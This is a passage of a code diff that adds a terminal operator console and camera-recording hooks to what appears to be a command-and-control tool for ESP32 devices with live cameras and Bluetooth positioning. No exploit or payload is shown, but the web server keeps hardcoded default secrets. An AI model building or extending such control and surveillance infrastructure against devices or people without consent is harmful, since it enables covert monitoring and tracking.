devices_panel.mount(container)
|
||||
container.mount(pane)
|
||||
|
||||
def _remove_device_pane(self, device_id: str) -> None:
|
||||
"""Remove a device pane."""
|
||||
if device_id in self._device_containers:
|
||||
container = self._device_containers.pop(device_id)
|
||||
container.remove()
|
||||
self._device_panes.pop(device_id, None)
|
||||
self._device_modules.pop(device_id, None)
|
||||
|
||||
# Show placeholder if no devices
|
||||
if not self._device_containers:
|
||||
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||
placeholder.display = True
|
||||
|
||||
def _update_device_title(self, device_id: str) -> None:
|
||||
"""Update device container title with modules info."""
|
||||
if device_id in self._device_containers:
|
||||
modules = self._device_modules.get(device_id, "")
|
||||
container = self._device_containers[device_id]
|
||||
if modules:
|
||||
container.border_title = f"DEVICE: {device_id} [{modules}]"
|
||||
else:
|
||||
container.border_title = f"DEVICE: {device_id}"
|
||||
|
||||
def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None:
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
completions_str = " ".join(event.completions)
|
||||
global_log.add_system(self._timestamp(), f"Completions: {completions_str}")
|
||||
|
||||
def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None:
|
||||
command = event.command
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
global_log.add_system(self._timestamp(), f"Executing: {command}")
|
||||
|
||||
if self.cli:
|
||||
try:
|
||||
self.cli.execute_command(command)
|
||||
except Exception as e:
|
||||
global_log.add_error(self._timestamp(), f"Command error: {e}")
|
||||
|
||||
def action_toggle_global(self) -> None:
|
||||
"""Toggle global logs pane visibility."""
|
||||
global_container = self.query_one("#global-log-container", Container)
|
||||
global_container.display = not global_container.display
|
||||
|
||||
def action_clear_global(self) -> None:
|
||||
"""Clear global logs pane only."""
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
global_log.clear()
|
||||
|
||||
def action_focus_input(self) -> None:
|
||||
self.query_one("#command-input", CommandInput).focus()
|
||||
|
||||
def action_tab_complete(self) -> None:
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
cmd_input.focus()
|
||||
cmd_input._handle_tab_completion()
|
||||
65
tools/c2/tui/bridge.py
Normal file
65
tools/c2/tui/bridge.py
Normal file
@ -0,0 +1,65 @@
|
||||
"""
|
||||
Thread-safe bridge between sync threads and async Textual TUI.
|
||||
"""
|
||||
import queue
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Optional, Any
|
||||
|
||||
|
||||
class MessageType(Enum):
|
||||
DEVICE_CONNECTED = "device_connected"
|
||||
DEVICE_DISCONNECTED = "device_disconnected"
|
||||
DEVICE_RECONNECTED = "device_reconnected"
|
||||
DEVICE_INFO_UPDATED = "device_info_updated"
|
||||
DEVICE_EVENT = "device_event"
|
||||
COMMAND_SENT = "command_sent"
|
||||
COMMAND_RESPONSE = "command_response"
|
||||
SYSTEM_MESSAGE = "system_message"
|
||||
ERROR = "error"
|
||||
|
||||
|
||||
@dataclass
|
||||
class TUIMessage:
|
||||
"""Message from sync thread to async TUI."""
|
||||
msg_type: MessageType
|
||||
payload: str
|
||||
timestamp: float = field(default_factory=time.time)
|
||||
device_id: Optional[str] = None
|
||||
request_id: Optional[str] = None
|
||||
|
||||
|
||||
class TUIBridge:
|
||||
"""Thread-safe bridge between sync threads and async Textual app."""
|
||||
|
||||
def __init__(self):
|
||||
self._queue: queue.Queue[TUIMessage] = queue.Queue()
|
||||
self._app: Any = None
|
||||
|
||||
def set_app(self, app):
|
||||
"""Called by TUI app on startup."""
|
||||
self._app = app
|
||||
|
||||
def post_message(self, msg: TUIMessage):
|
||||
"""Called by sync threads (Display class)."""
|
||||
self._queue.put(msg)
|
||||
if self._app:
|
||||
try:
|
||||
self._app.call_from_thread(self._app.process_bridge_queue)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def get_pending_messages(self) -> list[TUIMessage]:
|
||||
"""Called by async TUI to drain the queue."""
|
||||
messages = []
|
||||
while True:
|
||||
try:
|
||||
messages.append(self._queue.get_nowait())
|
||||
except queue.Empty:
|
||||
break
|
||||
return messages
|
||||
|
||||
|
||||
# Global bridge instance
|
||||
tui_bridge = TUIBridge()
|
||||
119
tools/c2/tui/styles/c2.tcss
Normal file
119
tools/c2/tui/styles/c2.tcss
Normal file
@ -0,0 +1,119 @@
|
||||
/* C3PO TUI Stylesheet - Multi-device view */
|
||||
|
||||
Screen {
|
||||
background: $surface;
|
||||
}
|
||||
|
||||
/* Header/Tab bar */
|
||||
#tab-bar {
|
||||
height: 1;
|
||||
dock: top;
|
||||
background: $surface-darken-1;
|
||||
}
|
||||
|
||||
/* Main content area */
|
||||
#main-content {
|
||||
height: 1fr;
|
||||
}
|
||||
|
||||
/* Left panel: all devices stacked */
|
||||
#devices-panel {
|
||||
width: 1fr;
|
||||
min-width: 30;
|
||||
}
|
||||
|
||||
#no-device-placeholder {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
content-align: center middle;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
/* Right panel: global logs */
|
||||
#global-log-container {
|
||||
width: 1fr;
|
||||
min-width: 30;
|
||||
border: solid $primary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
}
|
||||
|
||||
/* Input area */
|
||||
#input-container {
|
||||
height: 3;
|
||||
dock: bottom;
|
||||
background: $surface-darken-1;
|
||||
border-top: solid $primary;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#command-input {
|
||||
width: 1fr;
|
||||
height: 1;
|
||||
margin: 0;
|
||||
padding: 0 1;
|
||||
}
|
||||
|
||||
#shortcuts-bar {
|
||||
height: 1;
|
||||
width: 100%;
|
||||
background: $surface-darken-2;
|
||||
color: $text-muted;
|
||||
padding: 0 1;
|
||||
}
|
||||
|
||||
/* Device containers - each device in its own bordered box */
|
||||
DeviceContainer {
|
||||
height: 1fr;
|
||||
min-height: 5;
|
||||
border: solid $secondary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
/* Log pane inside device container */
|
||||
DeviceLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
|
||||
/* Global log pane */
|
||||
GlobalLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
|
||||
/* Log colors */
|
||||
.log-system {
|
||||
color: cyan;
|
||||
}
|
||||
|
||||
.log-device {
|
||||
color: yellow;
|
||||
}
|
||||
|
||||
.log-error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
.log-command {
|
||||
color: blue;
|
||||
}
|
||||
|
||||
.log-response {
|
||||
color: green;
|
||||
}
|
||||
|
||||
/* Status indicator */
|
||||
.status-connected {
|
||||
color: green;
|
||||
}
|
||||
|
||||
.status-inactive {
|
||||
color: yellow;
|
||||
}
|
||||
|
||||
.status-disconnected {
|
||||
color: red;
|
||||
}
|
||||
5
tools/c2/tui/widgets/__init__.py
Normal file
5
tools/c2/tui/widgets/__init__.py
Normal file
@ -0,0 +1,5 @@
|
||||
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||
from tui.widgets.command_input import CommandInput
|
||||
from tui.widgets.device_tabs import DeviceTabs
|
||||
|
||||
__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"]
|
||||
215
tools/c2/tui/widgets/command_input.py
Normal file
215
tools/c2/tui/widgets/command_input.py
Normal file
@ -0,0 +1,215 @@
|
||||
"""
|
||||
Command input widget with history and zsh-style tab completion.
|
||||
"""
|
||||
from textual.widgets import Input
|
||||
from textual.message import Message
|
||||
from typing import Callable, Optional
|
||||
|
||||
|
||||
class CommandInput(Input):
|
||||
"""Command input with history and zsh-style tab completion."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
CommandInput {
|
||||
dock: bottom;
|
||||
height: 1;
|
||||
border: none;
|
||||
background: $surface;
|
||||
padding: 0 1;
|
||||
}
|
||||
CommandInput:focus {
|
||||
border: none;
|
||||
}
|
||||
"""
|
||||
|
||||
class CommandSubmitted(Message):
|
||||
"""Posted when a command is submitted."""
|
||||
def __init__(self, command: str):
|
||||
self.command = command
|
||||
super().__init__()
|
||||
|
||||
class CompletionsAvailable(Message):
|
||||
"""Posted when multiple completions are available."""
|
||||
def __init__(self, completions: list[str], word: str):
|
||||
self.completions = completions
|
||||
self.word = word
|
||||
super().__init__()
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(
|
||||
placeholder="c2:> Type command here...",
|
||||
**kwargs
|
||||
)
|
||||
self._history: list[str] = []
|
||||
self._history_index: int = -1
|
||||
self._current_input: str = ""
|
||||
self._completer: Optional[Callable[[str, int], Optional[str]]] = None
|
||||
self._last_completion_text: str = ""
|
||||
self._last_completions: list[str] = []
|
||||
self._completion_cycle_index: int = 0
|
||||
|
||||
def set_completer(self, completer: Callable[[str, int], Optional[str]]):
|
||||
"""Set the tab completion function (same signature as readline completer)."""
|
||||
self._completer = completer
|
||||
|
||||
def on_key(self, event) -> None:
|
||||
"""Handle special keys for history and completion."""
|
||||
if event.key == "up":
|
||||
event.prevent_default()
|
||||
self._navigate_history(-1)
|
||||
elif event.key == "down":
|
||||
event.prevent_default()
|
||||
self._navigate_history(1)
|
||||
elif event.key == "tab":
|
||||
event.prevent_default()
|
||||
self._handle_tab_completion()
|
||||
|
||||
def _get_all_completions(self, word: str) -> list[str]:
|
||||
"""Get all possible completions for a word."""
|
||||
if not self._completer:
|
||||
return []
|
||||
|
||||
completions = []
|
||||
state = 0
|
||||
while True:
|
||||
completion = self._completer(word, state)
|
||||
if completion is None:
|
||||
break
|
||||
completions.append(completion)
|
||||
state += 1
|
||||
return completions
|
||||
|
||||
def _find_common_prefix(self, strings: list[str]) -> str:
|
||||
"""Find the longest common prefix among strings."""
|
||||
if not strings:
|
||||
return ""
|
||||
if len(strings) == 1:
|
||||
return strings[0]
|
||||
|
||||
prefix = strings[0]
|
||||
for s in strings[1:]:
|
||||
while not s.startswith(prefix):
|
||||
prefix = prefix[:-1]
|
||||
if not prefix:
|
||||
return ""
|
||||
return prefix
|
||||
|
||||
def _handle_tab_completion(self):
|
||||
"""Handle zsh-style tab completion."""
|
||||
if not self._completer:
|
||||
return
|
||||
|
||||
current_text = self.value
|
||||
cursor_pos = self.cursor_position
|
||||
|
||||
# Get the word being completed
|
||||
text_before_cursor = current_text[:cursor_pos]
|
||||
parts = text_before_cursor.split()
|
||||
|
||||
if not parts:
|
||||
word_to_complete = ""
|
||||
elif text_before_cursor.endswith(" "):
|
||||
word_to_complete = ""
|
||||
else:
|
||||
word_to_complete = parts[-1]
|
||||
|
||||
# Check if context changed (new completion session)
|
||||
context_changed = text_before_cursor != self._last_completion_text
|
||||
|
||||
if context_changed:
|
||||
# New completion session - get all completions
|
||||
self._last_completions = self._get_all_completions(word_to_complete)
|
||||
self._completion_cycle_index = 0
|
||||
self._last_completion_text = text_before_cursor
|
||||
|
||||
if not self._last_completions:
|
||||
# No completions
|
||||
return
|
||||
|
||||
if len(self._last_completions) == 1:
|
||||
# Single match - complete directly
|
||||
self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos)
|
||||
self._last_completions = []
|
||||
return
|
||||
|
||||
# Multiple matches - complete to common prefix and show options
|
||||
common_prefix = self._find_common_prefix(self._last_completions)
|
||||
|
||||
if common_prefix and len(common_prefix) > len(word_to_complete):
|
||||
# Complete to common prefix
|
||||
self._apply_completion(common_prefix, word_to_complete, cursor_pos)
|
||||
|
||||
# Show all completions
|
||||
self.post_message(self.CompletionsAvailable(
|
||||
self._last_completions.copy(),
|
||||
word_to_complete
|
||||
))
|
||||
|
||||
else:
|
||||
# Same context - cycle through completions
|
||||
if not self._last_completions:
|
||||
return
|
||||
|
||||
# Get next completion in cycle
|
||||
completion = self._last_completions[self._completion_cycle_index]
|
||||
self._apply_completion(completion, word_to_complete, cursor_pos)
|
||||
|
||||
# Advance cycle
|
||||
self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions)
|
||||
|
||||
def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int):
|
||||
"""Apply a completion to the input."""
|
||||
current_text = self.value
|
||||
text_before_cursor = current_text[:cursor_pos]
|
||||
|
||||
if word_to_complete:
|
||||
prefix = text_before_cursor[:-len(word_to_complete)]
|
||||
else:
|
||||
prefix = text_before_cursor
|
||||
|
||||
new_text = prefix + completion + current_text[cursor_pos:]
|
||||
new_cursor = len(prefix) + len(completion)
|
||||
|
||||
self.value = new_text
|
||||
self.cursor_position = new_cursor
|
||||
self._last_completion_text = new_text[:new_cursor]
|
||||
|
||||
def _navigate_history(self, direction: int):
|
||||
"""Navigate through command history."""
|
||||
if not self._history:
|
||||
return
|
||||
|
||||
if self._history_index == -1:
|
||||
self._current_input = self.value
|
||||
|
||||
new_index = self._history_index + direction
|
||||
|
||||
if new_index < -1:
|
||||
new_index = -1
|
||||
elif new_index >= len(self._history):
|
||||
new_index = len(self._history) - 1
|
||||
|
||||
self._history_index = new_index
|
||||
|
||||
if self._history_index == -1:
|
||||
self.value = self._current_input
|
||||
else:
|
||||
self.value = self._history[-(self._history_index + 1)]
|
||||
|
||||
self.cursor_position = len(self.value)
|
||||
|
||||
def action_submit(self) -> None:
|
||||
"""Submit the current command."""
|
||||
command = self.value.strip()
|
||||
if command:
|
||||
self._history.append(command)
|
||||
if len(self._history) > 100:
|
||||
self._history.pop(0)
|
||||
self.post_message(self.CommandSubmitted(command))
|
||||
|
||||
self.value = ""
|
||||
self._history_index = -1
|
||||
self._current_input = ""
|
||||
self._last_completions = []
|
||||
self._completion_cycle_index = 0
|
||||
self._last_completion_text = ""
|
||||
159
tools/c2/tui/widgets/device_tabs.py
Normal file
159
tools/c2/tui/widgets/device_tabs.py
Normal file
@ -0,0 +1,159 @@
|
||||
"""
|
||||
Dynamic device tabs widget.
|
||||
"""
|
||||
from textual.widgets import Static, Button
|
||||
from textual.containers import Horizontal
|
||||
from textual.message import Message
|
||||
from textual.reactive import reactive
|
||||
|
||||
|
||||
class DeviceTabs(Horizontal):
|
||||
"""Tab bar for device switching with dynamic updates."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceTabs {
|
||||
height: 1;
|
||||
width: 100%;
|
||||
background: $surface;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label {
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
min-width: 8;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label.active {
|
||||
background: $primary;
|
||||
color: $text;
|
||||
text-style: bold;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label:hover {
|
||||
background: $primary-darken-1;
|
||||
}
|
||||
|
||||
DeviceTabs .header-label {
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
DeviceTabs .separator {
|
||||
padding: 0;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
DeviceTabs .device-count {
|
||||
dock: right;
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
"""
|
||||
|
||||
active_tab: reactive[str] = reactive("global")
|
||||
devices_hidden: reactive[bool] = reactive(False)
|
||||
|
||||
class TabSelected(Message):
|
||||
"""Posted when a tab is selected."""
|
||||
def __init__(self, tab_id: str, device_id: str | None = None):
|
||||
self.tab_id = tab_id
|
||||
self.device_id = device_id
|
||||
super().__init__()
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self._devices: list[str] = []
|
||||
|
||||
def compose(self):
|
||||
yield Static("C3PO", classes="header-label", id="c3po-label")
|
||||
yield Static(" \u2500 ", classes="separator")
|
||||
yield Static("[G]lobal", classes="tab-label active", id="tab-global")
|
||||
yield Static(" [H]ide", classes="tab-label", id="tab-hide")
|
||||
yield Static("", classes="device-count", id="device-count")
|
||||
|
||||
def add_device(self, device_id: str):
|
||||
"""Add a device tab."""
|
||||
if device_id not in self._devices:
|
||||
self._devices.append(device_id)
|
||||
self._rebuild_tabs()
|
||||
|
||||
def remove_device(self, device_id: str):
|
||||
"""Remove a device tab."""
|
||||
if device_id in self._devices:
|
||||
self._devices.remove(device_id)
|
||||
if self.active_tab == device_id:
|
||||
self.active_tab = "global"
|
||||
self._rebuild_tabs()
|
||||
|
||||
def _rebuild_tabs(self):
|
||||
"""Rebuild all tabs."""
|
||||
for widget in list(self.children):
|
||||
if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"):
|
||||
widget.remove()
|
||||
|
||||
hide_tab = self.query_one("#tab-hide", Static)
|
||||
|
||||
for i, device_id in enumerate(self._devices):
|
||||
if i < 9:
|
||||
label = f"[{i+1}]{device_id}"
|
||||
tab = Static(
|
||||
label,
|
||||
classes="tab-label" + (" active" if self.active_tab == device_id else ""),
|
||||
id=f"tab-device-{device_id}"
|
||||
)
|
||||
self.mount(tab, before=hide_tab)
|
||||
|
||||
count_label = self.query_one("#device-count", Static)
|
||||
count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}")
|
||||
|
||||
def select_tab(self, tab_id: str):
|
||||
"""Select a tab by ID."""
|
||||
if tab_id == "global":
|
||||
self.active_tab = "global"
|
||||
self.post_message(self.TabSelected("global"))
|
||||
elif tab_id in self._devices:
|
||||
self.active_tab = tab_id
|
||||
self.post_message(self.TabSelected(tab_id, tab_id))
|
||||
|
||||
self._update_active_styles()
|
||||
|
||||
def select_by_index(self, index: int):
|
||||
"""Select device tab by numeric index (1-9)."""
|
||||
if 0 < index <= len(self._devices):
|
||||
device_id = self._devices[index - 1]
|
||||
self.select_tab(device_id)
|
||||
|
||||
def toggle_hide(self):
|
||||
"""Toggle device panes visibility."""
|
||||
self.devices_hidden = not self.devices_hidden
|
||||
hide_tab = self.query_one("#tab-hide", Static)
|
||||
hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show")
|
||||
|
||||
def _update_active_styles(self):
|
||||
"""Update tab styles to show active state."""
|
||||
for tab in self.query(".tab-label"):
|
||||
tab.remove_class("active")
|
||||
|
||||
if self.active_tab == "global":
|
||||
self.query_one("#tab-global", Static).add_class("active")
|
||||
else:
|
||||
try:
|
||||
self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def on_click(self, event) -> None:
|
||||
"""Handle tab clicks."""
|
||||
target = event.target
|
||||
if hasattr(target, 'id') and target.id:
|
||||
if target.id == "tab-global":
|
||||
self.select_tab("global")
|
||||
elif target.id == "tab-hide":
|
||||
self.toggle_hide()
|
||||
elif target.id.startswith("tab-device-"):
|
||||
device_id = target.id.replace("tab-device-", "")
|
||||
self.select_tab(device_id)
|
||||
117
tools/c2/tui/widgets/log_pane.py
Normal file
117
tools/c2/tui/widgets/log_pane.py
Normal file
@ -0,0 +1,117 @@
|
||||
"""
|
||||
Log pane widgets for displaying device and global logs.
|
||||
"""
|
||||
from textual.widgets import RichLog
|
||||
from rich.text import Text
|
||||
|
||||
|
||||
class GlobalLogPane(RichLog):
|
||||
"""Combined log view for all devices and system messages."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
GlobalLogPane {
|
||||
border: solid $primary;
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(
|
||||
highlight=True,
|
||||
markup=True,
|
||||
wrap=True,
|
||||
max_lines=5000,
|
||||
**kwargs
|
||||
)
|
||||
|
||||
def add_system(self, timestamp: str, message: str):
|
||||
"""Add a system message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[SYS] ", style="cyan bold")
|
||||
text.append(message)
|
||||
self.write(text)
|
||||
|
||||
def add_device_event(self, timestamp: str, device_id: str, event: str):
|
||||
"""Add a device event."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append(f"[{device_id}] ", style="yellow")
|
||||
text.append(event)
|
||||
self.write(text)
|
||||
|
||||
def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str):
|
||||
"""Add a command sent message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[CMD] ", style="blue bold")
|
||||
text.append(f"{command} ", style="blue")
|
||||
text.append(f"-> {device_id}", style="dim")
|
||||
self.write(text)
|
||||
|
||||
def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str):
|
||||
"""Add a command response."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append(f"[{device_id}] ", style="green")
|
||||
text.append(response, style="green")
|
||||
self.write(text)
|
||||
|
||||
def add_error(self, timestamp: str, message: str):
|
||||
"""Add an error message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[ERR] ", style="red bold")
|
||||
text.append(message, style="red")
|
||||
self.write(text)
|
||||
|
||||
|
||||
class DeviceLogPane(RichLog):
|
||||
"""Per-device log display with filtering."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, device_id: str, **kwargs):
|
||||
super().__init__(
|
||||
highlight=True,
|
||||
markup=True,
|
||||
wrap=True,
|
||||
max_lines=2000,
|
||||
**kwargs
|
||||
)
|
||||
self.device_id = device_id
|
||||
|
||||
def add_event(self, timestamp: str, event: str, event_type: str = "info"):
|
||||
"""Add an event to this device's log."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
|
||||
style_map = {
|
||||
"info": "yellow",
|
||||
"log": "white",
|
||||
"error": "red",
|
||||
"cmd_sent": "blue",
|
||||
"cmd_resp": "green",
|
||||
"data": "magenta",
|
||||
}
|
||||
style = style_map.get(event_type, "white")
|
||||
|
||||
prefix_map = {
|
||||
"info": "> INFO: ",
|
||||
"log": "> LOG: ",
|
||||
"error": "> ERROR: ",
|
||||
"cmd_sent": "> CMD: ",
|
||||
"cmd_resp": "> RESP: ",
|
||||
"data": "> DATA: ",
|
||||
}
|
||||
prefix = prefix_map.get(event_type, "> ")
|
||||
|
||||
text.append(prefix, style=f"{style} bold")
|
||||
text.append(event, style=style)
|
||||
self.write(text)
|
||||
@ -1,29 +1,115 @@
|
||||
import time
|
||||
from utils.constant import _color
|
||||
|
||||
# TUI bridge import (lazy to avoid circular imports)
|
||||
_tui_bridge = None
|
||||
|
||||
|
||||
def _get_bridge():
|
||||
global _tui_bridge
|
||||
if _tui_bridge is None:
|
||||
try:
|
||||
from tui.bridge import tui_bridge
|
||||
_tui_bridge = tui_bridge
|
||||
except ImportError:
|
||||
_tui_bridge = False
|
||||
return _tui_bridge if _tui_bridge else None
|
||||
|
||||
|
||||
class Display:
|
||||
_tui_mode = False
|
||||
|
||||
@classmethod
|
||||
def enable_tui_mode(cls):
|
||||
"""Enable TUI mode - routes output to TUI bridge instead of print."""
|
||||
cls._tui_mode = True
|
||||
|
||||
@classmethod
|
||||
def disable_tui_mode(cls):
|
||||
"""Disable TUI mode - back to print output."""
|
||||
cls._tui_mode = False
|
||||
|
||||
@staticmethod
|
||||
def _timestamp() -> str:
|
||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
||||
|
||||
@staticmethod
|
||||
def system_message(message: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.SYSTEM_MESSAGE,
|
||||
payload=message
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
def device_event(device_id: str, event: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
# Detect special events
|
||||
if "Connected from" in event:
|
||||
msg_type = MessageType.DEVICE_CONNECTED
|
||||
elif "Reconnected from" in event:
|
||||
msg_type = MessageType.DEVICE_RECONNECTED
|
||||
elif event == "Disconnected":
|
||||
msg_type = MessageType.DEVICE_DISCONNECTED
|
||||
else:
|
||||
msg_type = MessageType.DEVICE_EVENT
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=msg_type,
|
||||
device_id=device_id,
|
||||
payload=event
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
|
||||
|
||||
@staticmethod
|
||||
def command_sent(device_id: str, command_name: str, request_id: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.COMMAND_SENT,
|
||||
device_id=device_id,
|
||||
payload=command_name,
|
||||
request_id=request_id
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
|
||||
|
||||
@staticmethod
|
||||
def command_response(request_id: str, device_id: str, response: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.COMMAND_RESPONSE,
|
||||
device_id=device_id,
|
||||
payload=response,
|
||||
request_id=request_id
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
|
||||
|
||||
@staticmethod
|
||||
def error(message: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.ERROR,
|
||||
payload=message
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
|
||||
@ -22,7 +22,7 @@ class UnifiedWebServer:
|
||||
|
||||
Provides:
|
||||
- Dashboard: View connected ESP32 devices
|
||||
- Cameras: View live camera streams
|
||||
- Cameras: View live camera streams with recording
|
||||
- Trilateration: Visualize BLE device positioning
|
||||
"""
|
||||
|
||||
@ -35,7 +35,8 @@ class UnifiedWebServer:
|
||||
secret_key: str = "change_this_for_prod",
|
||||
multilat_token: str = "multilat_secret_token",
|
||||
device_registry=None,
|
||||
mlat_engine: Optional[MlatEngine] = None):
|
||||
mlat_engine: Optional[MlatEngine] = None,
|
||||
camera_receiver=None):
|
||||
"""
|
||||
Initialize the unified web server.
|
||||
|
||||
@ -49,6 +50,7 @@ class UnifiedWebServer:
|
||||
multilat_token: Bearer token for MLAT API
|
||||
device_registry: DeviceRegistry instance for device listing
|
||||
mlat_engine: MlatEngine instance (created if None)
|
||||
camera_receiver: UDPReceiver instance for camera control
|
||||
"""
|
||||
self.host = host
|
||||
self.port = port
|
||||
@ -59,6 +61,7 @@ class UnifiedWebServer:
|
||||
self.multilat_token = multilat_token
|
||||
self.device_registry = device_registry
|
||||
self.mlat = mlat_engine or MlatEngine()
|
||||
self.camera_receiver = camera_receiver
|
||||
|
||||
# Ensure image directory exists
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
@ -69,13 +72,16 @@ class UnifiedWebServer:
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def set_camera_receiver(self, receiver):
|
||||
"""Set the camera receiver after initialization."""
|
||||
self.camera_receiver = receiver
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _create_app(self) -> Flask:
|
||||
"""Create and configure the Flask application."""
|
||||
# Get the c2 root directory for templates
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
template_dir = os.path.join(c2_root, "templates")
|
||||
static_dir = os.path.join(c2_root, "static")
|
||||
@ -85,7 +91,6 @@ class UnifiedWebServer:
|
||||
static_folder=static_dir)
|
||||
app.secret_key = self.secret_key
|
||||
|
||||
# Store reference to self for route handlers
|
||||
web_server = self
|
||||
|
||||
# ========== Auth Decorators ==========
|
||||
@ -99,18 +104,15 @@ class UnifiedWebServer:
|
||||
return decorated
|
||||
|
||||
def require_api_auth(f):
|
||||
"""Require session login OR Bearer token for API endpoints."""
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
# Check session
|
||||
if session.get("logged_in"):
|
||||
return f(*args, **kwargs)
|
||||
|
||||
# Check Bearer token
|
||||
auth_header = request.headers.get("Authorization", "")
|
||||
if auth_header.startswith("Bearer "):
|
||||
token = auth_header[7:]
|
||||
if token == web_server.mlat_token:
|
||||
if token == web_server.multilat_token:
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
@ -151,7 +153,6 @@ class UnifiedWebServer:
|
||||
@app.route("/cameras")
|
||||
@require_login
|
||||
def cameras():
|
||||
# List available camera images
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
image_files = sorted([
|
||||
@ -176,12 +177,17 @@ class UnifiedWebServer:
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
return send_from_directory(full_image_dir, filename)
|
